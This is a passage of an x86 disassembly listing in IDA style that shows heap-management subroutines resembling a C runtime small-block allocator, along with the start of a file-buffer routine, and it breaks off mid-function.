		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi

loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------

loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi

loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------

loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx

loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax

loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A310, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A300
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------

loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DC944
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3

loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A300
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A300, 0
		jnz	short loc_41E9F6
		mov	off_43A300, eax

loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A304, 0
		jnz	short loc_41EA1B
		mov	off_43A304, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------

loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A304
		mov	[esi+4], eax
		mov	off_43A304, esi
		mov	eax, [esi+4]
		mov	[eax], esi

loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h

loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------

loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 28B0615h

loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A300
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DC944
		nop
		call	near ptr 27B0000h

loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax

loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 28B0615h
		cmp	off_43C320, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C320, eax

loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A300
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DC944
		nop
		call	near ptr 27B0000h
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A310, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A304
		push	edi

loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h

loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 28B0615h
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB324
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F

loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi

loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84

loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36

loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx

loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B

loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx

loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A304
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D

loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A300
		push	esi
		mov	ecx, edx

loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0

loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------

loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------

loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB324
		cmp	dword_4DB324, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C320
		push	edi

loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1

loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx

loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------

loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]

loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A

loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx

loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------

loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]

loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C320
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------

loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C320, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------

loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A300
		mov	edi, eax

loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68

loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------

loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97

loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86

loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 28B078Bh
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx

loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4

loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C320, edi
		lea	eax, [edi+2018h]

loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------

loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax

loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C320, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------

loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax

loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------

loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------

loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi

loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E

loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi

loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------

loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------

loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93

loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------

loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi

loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB

loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]

loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax

loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------

loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------

loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi

loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------

loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------

loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------

loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]

loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------

loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax

loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------

loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]

loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------

loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi

loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021

loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A

loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------

loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax

loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx

loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1

loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------

loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------

loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DC600[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------

loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43C980

loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
